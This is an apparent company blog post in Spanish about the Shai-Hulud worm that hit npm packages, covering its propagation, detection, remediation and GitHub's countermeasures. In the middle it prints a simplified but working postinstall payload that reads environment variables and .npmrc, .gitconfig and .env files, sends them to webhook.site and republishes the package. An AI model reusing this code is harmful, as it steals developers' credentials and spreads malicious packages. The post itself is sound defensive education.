
Shai‑Hulud: El ataque masivo a npm que sacude la cadena de suministro del software
8 de octubre de 2025
Introducción
En el mundo del frontend (y backend también), estamos acostumbrados a escribir npm install
sin pensarlo dos veces. Agregamos dependencias, copiamos comandos de Stack Overflow, GitHub o ChatGPT, y confiamos ciegamente en que todo lo que viene del ecosistema npm es seguro por defecto.
Pero esa confianza acaba de recibir un golpe serio.
A lo largo del tiempo, hemos visto cómo se infectan paquetes populares, se publican otros con fines maliciosos, e incluso se crean copias casi idénticas de proyectos legítimos. Pero este septiembre de 2025, la comunidad JavaScript fue sacudida por el descubrimiento de un ataque a gran escala que compromete cientos de paquetes npm legítimos. ¿El responsable? Un malware sofisticado, automatizado y autoexpandible apodado Shai‑Hulud.
¿Qué es Shai‑Hulud y cómo se detectó?
Shai‑Hulud es un gusano de software diseñado para propagarse automáticamente a través del ecosistema npm. Fue descubierto por investigadores de seguridad de múltiples fuentes y confirmado oficialmente por la CISA.
La primera señal de alerta fue la detección de comportamiento extraño en algunos paquetes populares: versiones nuevas con código ofuscado en los scripts de instalación (postinstall
) y comunicaciones con servidores externos sospechosos.
A medida que se investigaba, se descubrió que más de 500 paquetes habían sido comprometidos y se siguen descubriendo a día de hoy. Lo alarmante no era solo la escala, sino la forma automática en la que el malware se propagaba, infectando desarrolladores, robando sus tokens de autenticación, y luego publicando nuevas versiones maliciosas de otros paquetes.
¿Por qué npm es tan vulnerable?
El ataque Shai‑Hulud no es simplemente una historia sobre un virus sofisticado. Es también una evidencia clara de las debilidades estructurales del ecosistema npm, entre ellas:
-
Permisos amplios por defecto: muchos scripts de
postinstall
se ejecutan sin restricciones, con acceso al sistema de archivos y red. -
Falta de revisión automatizada: npm permite publicar versiones nuevas de paquetes sin validación de seguridad automática.
-
Confianza excesiva en los mantenedores: si un mantenedor legítimo es comprometido, no hay nada que impida que suba versiones maliciosas.
-
Dependencias transitivas invisibles: muchos desarrolladores ni siquiera saben qué paquetes indirectos están usando.
¿Cómo funciona Shai‑Hulud?
1.Infección inicial: Se compromete un paquete npm legítimo (por ejemplo manipulando su versión).
2.Ejecución local: Un desarrollador instala el paquete comprometido, este paquete contiene un script postinstall
que ejecuta automáticamente código malicioso en el entorno local.
3.Ejecución del código malicioso: Cuando alguien instala el paquete infectado, se ejecuta un script (postinstall) que activa el gusano.
4.Recolección de secretos: El gusano busca tokens de autenticación .npmrc
, .gitconfig
, secretos en archivos .env
, configuraciones de cloud .aws
, .azure
, credenciales SSH
, GPG
y otros secretos que el desarrollador tenga.
5.Exfiltración de secretos: El gusano envía esos secretos robados a servidores controlados por los atacantes y se publican en un repositorio de GitHub público llamado Shai-Hulud
bajo tu propio usuario.
6.Autopropagación: Usando los secretos robados, el gusano identifica otros paquetes que el desarrollador comprometido mantiene o tiene permisos de publicación y automatiza la publicación de una nueva versión maliciosa del paquete modificando el package.json
y el bundle.js
para incluir el mismo código malicioso. Con ello, esos paquetes pasan a infectarse también.
7.Persistencia: En algunos casos, el código malicioso introduce workflows de GitHub Actions, scripts persistentes o archivos de automatización que continúan operando en los proyectos incluso después de la infección inicial. Algunas versiones del script usan técnicas de ofuscación, comentarios engañosos, e incluso emojis, lo que sugiere el uso de herramientas de IA para generar variantes más difíciles de detectar.
Ejemplo básico en código:
// package.json infectado
{
"name": "mi-paquete-limpio",
"version": "1.0.0",
"scripts": {
"postinstall": "node ./bundle.js"
},
"dependencies": {
// dependencias normales
}
}
// bundle.js (versión maliciosa simplificada)
const { execSync } = require("child_process");
const fs = require("fs");
const path = require("path");
const https = require("https");
function stealSecrets() {
const secrets = {};
// leer variables de entorno
secrets.env = process.env;
// leer archivos comunes donde puede haber tokens
const candidates = [".npmrc", ".gitconfig", ".env"];
for (const name of candidates) {
try {
const content = fs.readFileSync(path.join(process.cwd(), name), "utf8");
secrets[name] = content;
} catch (e) {
// do nothing
}
}
return secrets;
}
function exfiltrate(data) {
const payload = Buffer.from(JSON.stringify(data)).toString("base64");
const options = {
hostname: "webhook.site", // dominio malicioso
port: 443,
path: "/abc123",
method: "POST",
headers: {
"Content-Type": "application/json",
},
};
const req = https.request(options, (res) => {});
req.on("error", (err) => {});
req.write(JSON.stringify({ d: payload }));
req.end();
}
function tryRepublish() {
// Si encuentra un token de npm, podría intentar publicar
try {
execSync("npm version patch");
execSync("npm publish --access public");
} catch (e) {}
}
// flujo principal
(function main() {
const secrets = stealSecrets();
exfiltrate(secrets);
tryRepublish();
})();
Detección y eliminación del malware
Cómo saber si fuiste infectado:
1.Revisa si en tu GitHub hay un repositorio público llamado Shai-Hulud
.
2.Revisa tus logs de instalación y cualquier ejecución de postinstall
sospechosa.
3.Busca conexiones salientes a dominios como webhook.site
, pastebin.com
, u otros endpoints no esperados.
4.Verifica si tus tokens de GitHub, npm, AWS, etc. han sido usados recientemente.
5.Usa herramientas como npm audit
, pero recuerda que no detectan todos los casos, ya que muchos paquetes comprometidos eran "legítimos".
6.Reconocimiento automatizado (Aún así se recomienda una revisión manual)
Como consejo general no ejecutes scripts que no sepas qué hacen.
Este script es el que hemos usado en la empresa y funciona validando contra los hashes detectados como maliciosos en los commits de los paquetes.
Script para la detección automática
Qué hacer si fuiste comprometido:
-
Revoca todos los tokens de acceso (npm, GitHub, cloud).
-
Cambia todas tus contraseñas y claves SSH.
-
Escanea tu sistema local en busca de scripts persistentes.
-
Elimina cualquier versión maliciosa de tus propios paquetes.
-
Reporta cualquier hallazgo a npm y GitHub inmediatamente.
Cómo prevenir futuros ataques y alternativas más seguras
Pasos para proteger tus proyectos:
1.Usa npm ci
en lugar de npm install
para asegurar que solo se instalen dependencias exactamente como están en package-lock.json
.
2.Elimina el carácter ^
de tus dependencias instaladas.
3.Audita manualmente tus dependencias, incluyendo las transitivas.
4.Activa la autenticación multifactor (MFA) en todas tus cuentas npm y GitHub.
5.Deshabilita scripts de instalación automática si no los necesitas:
npm install --ignore-scripts
¿Alternativas más seguras a npm?
Si bien npm es dominante, hay alternativas que priorizan la seguridad:
-
pnpm: ofrece un modelo más estricto de manejo de dependencias y mejor aislamiento. Además es más rápido que npm.
-
Sandpack: para entornos sandboxed de desarrollo.
Medidas tomadas por GitHub
GitHub publicó un artículo explicando su plan para hacer más segura la cadena de suministro de npm, entre los cambios más relevantes están:
-
Autenticación de dos factores obligatoria para la publicación local.
-
Tokens de corta duración (máximo 7 días) para reducir riesgos.
-
Publicación confiable (Trusted Publishing) basada en OpenID Connect, eliminando la necesidad de tokens al publicar desde CI/CD.
-
Eliminación de permisos heredados y excepciones de 2FA.
-
Preferencia por claves físicas FIDO sobre códigos TOTP.
-
Validación criptográfica del entorno de compilación del paquete publicado.
Estas medidas buscan minimizar los puntos de fallo, aumentar la transparencia y evitar que tokens robados o falsificados sean utilizados para comprometer la infraestructura de npm. GitHub plantea este cambio estratégico a largo plazo, impulsado por principios de mínimos privilegios y verificación sólida.
Por otra parte, algunas estrategias que han tomado las empresas han sido bloquear todo el tráfico saliente de sus redes a endpoints maliciosos y el bloqueo de la instalación de las versiones de librerías afectadas a través de sistemas como jfrog o nexus.
Futuro
El ataque Shai‑Hulud no es solo un evento aislado, es probable que en un futuro nos enfrentemos a este mismo problema pero con un nombre distinto. Como desarrolladores, tenemos la responsabilidad de exigir mejores prácticas, auditar nuestro código, y entender que cada npm i
puede ser una puerta de entrada a nuestra infraestructura.
La cadena de suministro del software es ahora un vector de ataque principal. Y npm, con toda su comodidad, es también una fuente de riesgo que no podemos seguir ignorando.
Bibliografía
Nuestras últimas novedades
¿Te interesa saber cómo nos adaptamos constantemente a la nueva frontera digital?

Tech Insight
11 de agosto de 2025
Atlassian y Google Cloud: la alianza que multiplica el valor de nuestro ecosistema tecnológico

Insight
31 de julio de 2025
El potencial de Process Mining en entornos SAFe

Insight
29 de julio de 2025
La cadena de valor en Ciberseguridad, de la estrategia al control

Evento
26 de mayo de 2025
Madrid vibra con la nueva era de la Inteligencia Artificial en el Google Cloud Summit 2025